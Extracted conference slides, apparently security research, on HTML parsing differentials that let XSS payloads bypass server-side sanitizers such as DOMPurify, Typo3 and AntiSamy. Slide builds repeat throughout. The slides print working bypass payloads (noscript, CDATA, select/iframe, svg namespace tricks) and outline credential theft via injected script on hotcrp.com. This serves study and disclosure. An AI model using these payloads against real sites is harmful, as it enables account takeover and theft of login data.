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Client-Side

document.write(location.hash);

Server-Side

<?php
echo $_GET["name"];
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Client-Side

Dynamic Taint Tracking

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS



Client-Side

Dynamic Taint Tracking

Project Foxhound

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS

https://github.com/SAP/project-foxhound


Client-Side

Dynamic Taint Tracking

Project Foxhound

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS

https://github.com/SAP/project-foxhound


Client-Side

Dynamic Taint Tracking

Project Foxhound

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS

https://github.com/SAP/project-foxhound


Client-Side

Dynamic Taint Tracking

Project Foxhound

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS

https://github.com/SAP/project-foxhound


Client-Side

Dynamic Taint Tracking

Project Foxhound

Server-Side

Less clear

SAST? DAST? Linter?

�: Investigate shared code

⇒⇒ Look at sanitizers!

4

Detecting XSS

https://github.com/SAP/project-foxhound


� Simply remove or change dangerous parts from the input

– Allow formatting tags to pass through, but remove everything dangerous
– E.g., <img src=x onerror=alert()> → <img src=x>

This is called sanitization

5

Sanitization to Prevent XSS



� Simply remove or change dangerous parts from the input
– Allow formatting tags to pass through, but remove everything dangerous
– E.g., <img src=x onerror=alert()> → <img src=x>

This is called sanitization

5

Sanitization to Prevent XSS



� Simply remove or change dangerous parts from the input
– Allow formatting tags to pass through, but remove everything dangerous
– E.g., <img src=x onerror=alert()> → <img src=x>

This is called sanitization

5

Sanitization to Prevent XSS



� Simply remove or change dangerous parts from the input
– Allow formatting tags to pass through, but remove everything dangerous
– E.g., <img src=x onerror=alert()> → <img src=x>

This is called sanitization

Definition: Sanitizer

Function taking arbitrary input and returns a safe value

The output shall resemble the input
⇒⇒ I.e., perserve benign parts

5

Sanitization to Prevent XSS



Researching people rolling their own sanitizers
E.g., trying to filter HTML with regular expressions

– I Spoke about this at RuhrSec in 2023

function f(v) {
return v.replace(/'/g, "").replace(/\(/g, "")
.replace(/\)/g, "").replace(/alert/g, ""); }

How not to sanitize HTML

My takeaway: Use sanitizers relying on a real HTML parser

I.e., most server-side sanitizers

But does that really help?
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Secure? No!



My test conference was hosted under hotcrp.com
⇒⇒ Shares login data with all conferences on hotcrp.com

– E.g., Usenix Security, CCS, NDSS, EuroS&P, RAID, . . .

By injecting custom JavaScript one can:

– Lure victim onto my conference page

▶ Simply spoof sender as stock@cispa.de or director@cispa.de

– Automatically log out visitor
– Exfiltrate username and password on log in

⇒⇒ See everything they have access to
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HTML Code

<div>
<svg>...</svg>
<table>

<div>
<tbody></tbody>

</div>
</table>
<br>

<img src=x onerror=f()>
<style>
Te</div>xt

</style>
</br>

</div>

DOM Tree

div

svg

div

table

tbodybr

img

style

#textbr

Parsed into
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Payload: <select><iframe><script>payload()</script>
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The “nothing” content model:

. . . the element must contain no Text nodes (other than

inter-element whitespace) and no element nodes.

However, the parsing specification disagrees:

⇒⇒ Inconsistency in the spec! One parsing quirk we identified

So the sanitizer is actually correct, but. . .

? Where has the iframe gone?
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⇒⇒ Inconsistency in the spec! One parsing quirk we identified

div.innerHTML = `<iframe><img src=x onerror=alert(1)>`;

So the sanitizer is actually correct, but. . .

? Where has the iframe gone?

16

Root Cause



The “nothing” content model:

. . . the element must contain no Text nodes (other than

inter-element whitespace) and no element nodes.

However, the parsing specification disagrees:

⇒⇒ Inconsistency in the spec! One parsing quirk we identified

div.innerHTML = `<iframe><img src=x onerror=alert(1)>`;

ò Results in iframe element with payload as textual content.

No code execution!

So the sanitizer is actually correct, but. . .

? Where has the iframe gone?
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Recall the payload:

<select><iframe><script>payload()</script>

The select Element

Content model:
Zero or more option, optgroup, and

script-supporting elements.

⇒⇒ An iframe can’t be a child of select!

So Chrome simply drops it

17

The Missing iframe



Recall the payload:

<select><iframe><script>payload()</script>

The select Element

Content model:
Zero or more option, optgroup, and

script-supporting elements.

ò “script-supporting elements” are script and template tags

⇒⇒ An iframe can’t be a child of select!

So Chrome simply drops it
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Google has deprecated Caja 5y+ ago

That does not stop others from using it, e.g.,:
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–
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Root cause: Handling CDATA sections

– Same issue also affected Typo3

CDATA is a SGML construct

– <![CDATA[<b> to emphasize]]>

However, CDATA is not allowed in HTML!

⇒⇒ The Browser will fix it for you!

19
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Root cause: Handling CDATA sections
– Same issue also affected Typo3

CDATA is a SGML construct
– <![CDATA[<b> to emphasize]]>

However, CDATA is not allowed in HTML!

⇒⇒ The Browser will fix it for you!

The parser treats such CDATA sections (including lead-

ing ”[CDATA[” and trailing ”]]” strings) as comments.

19

Hotcrp Parsing Differential



<![CDATA[a<b]]> → <!--[CDATA[a<b]]-->

However, if the CDATA section contains >:

<![CDATA[<b><t>]]> → <!--[CDATA[<b--> <t>]]&gt;

<![CDATA[<b><img src=x onerror=f()>]]> →
<!--[CDATA[<b--> <img src=x onerror=f()>]]&gt;
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Goal: Find Parsing Differentials to bypass HTML sanitizers

MutaGen: HTML payload generator

� Generate HTML that is difficult to parse

Important to keep in mind: HTML parsing never fails!

⇒⇒ Garbage in, DOM out
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Generation Serialization
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Generation Serialization

Payload(Img tag) <img src=x onerror=f()>

Close tag

(NoScript, Prepend)
</noscript>

<img src=x onerror=f()>

Enclose tag attr (Div,

Id, Enclosed(Double))
<div id="</noscript>

<img src=x onerror=f()>">

Open tag

(NoScript, Prepend)

⊥

<noscript>

<div id="</noscript>

<img src=x onerror=f()>">

ò Highly effective Payload!

Bypasses 4 tested santizers
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⇒⇒ 11 sanitizers across five programming languages.

Java, JavaScript, PHP, Ruby, and .NET

23
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Name Total Downloads Language Vulns.

DOMPurify 399 001 216
JavaScript

2
google caja 41 305 997 x

sanitize-html 276 882 692 0
HtmlSanitizer 19 800 000

.NET
2

HtmlRuleSanitizer 306 100 2
Typo3 html-sanitizer 1 950 185 PHP 4
rgrove/sanitize 60 928 006

Ruby
1

loofah 396 621 861 0
AntiSamy

No data available Java
3

JSoup 2

Total Over 1 Billion 16
24
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During the first test, after like 10s, I was greeted by:

PHP Warning: Uninitialized string offset

26 in html5/src/HTML5/Parser/Scanner.php

on line 108

A target nobody has fuzzed before, i.e., good target!

25
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⇒⇒ 11 sanitizers across five programming languages.

Java, JavaScript, PHP, Ruby, and .NET

All have functional deficiencies

– Average parsing similarity compared to browsers is below 60%
– Even if secure, sanitizers mangle input by parsing incorrectly

16 new bypass vectors across 9 of them

– And one bypass vector in a sanitizer not directly tested by us
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What parser processes the output? Fragment or Document?

I.e., innerHTML assignment or document.write

Which browser is the result displayed in?

27
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What parser processes the output? Fragment or Document?

I.e., innerHTML assignment or document.write

Which browser is the result displayed in?
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<svg><embed><iframe><desc><img src=x onerror=f()>
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<svg><embed><iframe><desc><img src=x onerror=f()>

Does this execute code?
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<svg><embed><iframe><desc><img src=x onerror=f()>
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<svg><embed><iframe><desc><img src=x onerror=f()>

context

svg

embed

iframe

#text

Chrome parsing result
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<svg><embed><iframe><desc><img src=x onerror=f()>

context

svg

embed

iframe

#text

Chrome parsing result

ò Does Not Execute Code!
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<svg><embed><iframe><desc><img src=x onerror=f()>

context

svg

embed

iframe

#text

Chrome parsing result

context

svg

embed

iframe

desc

img

Firefox parsing result
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<svg><embed><iframe><desc><img src=x onerror=f()>

context

svg

embed

iframe

#text

Chrome parsing result

context

svg

embed

iframe

desc

img

Firefox parsing result

ò Executes Code!
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<svg><embed><iframe><desc><img src=x onerror=f()>

context

svg

embed

iframe

#text

Chrome parsing result

context

svg

embed

iframe

desc

img

Firefox parsing result

⇒⇒ Perfectly accurate sanitizer is impossible
28
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Input: <svg><style>&lt;img src=x onerror=f()&gt;<keygen>

Output: <svg><style><img src=x onerror=f()>

⇒⇒ Sanitizers can help to bypass other security measures!

29
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Input: <svg><style>&lt;img src=x onerror=f()&gt;<keygen>

Output: <svg><style><img src=x onerror=f()>

⇒⇒ Sanitizers can help to bypass other security measures!
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Handling comments is surprisingly error prone. . .

– Three sanitizers do not detect closing bang comments

noscript is impossible to get right: four bypasses

– Parsing depends on internal browser state, not exposed to sanitizers

Namespace confusion bugs are common

Some fundamental parsing bugs too!

30
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Handling comments is surprisingly error prone. . .
– Three sanitizers do not detect closing bang comments

noscript is impossible to get right: four bypasses

– Parsing depends on internal browser state, not exposed to sanitizers

Namespace confusion bugs are common

Some fundamental parsing bugs too!

ò That is, comments terminated with --!>
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Handling comments is surprisingly error prone. . .
– Three sanitizers do not detect closing bang comments

noscript is impossible to get right: four bypasses
– Parsing depends on internal browser state, not exposed to sanitizers

Namespace confusion bugs are common

Some fundamental parsing bugs too!

ò Sanitizing inputs containing noscript impossible!
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Handling comments is surprisingly error prone. . .
– Three sanitizers do not detect closing bang comments

noscript is impossible to get right: four bypasses
– Parsing depends on internal browser state, not exposed to sanitizers

Namespace confusion bugs are common

Some fundamental parsing bugs too!

ò Not correctly switching between different parsers.

Recall the Firefox bug shown earlier!
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noscript is impossible to get right: four bypasses
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Contact

# david.klein@tu-braunschweig.de

ï leinea

� twitter.com/ncd_leen

Resources

§ ias-tubs/HTML_parsing_differentials

§ sap/project-foxhound

Closing

david.klein@tu-braunschweig.de
https://www.linkedin.com/in/leinea/
twitter.com/ncd_leen
ias-tubs/HTML_parsing_differentials
sap/project-foxhound


Parse → Serialize → Parse is prone to parsing
differentials

Server-Side HTML Sanitization is Insecure, Broken or
Both

A New Vision of Sanitization is Required to Get us
Out of This Mess
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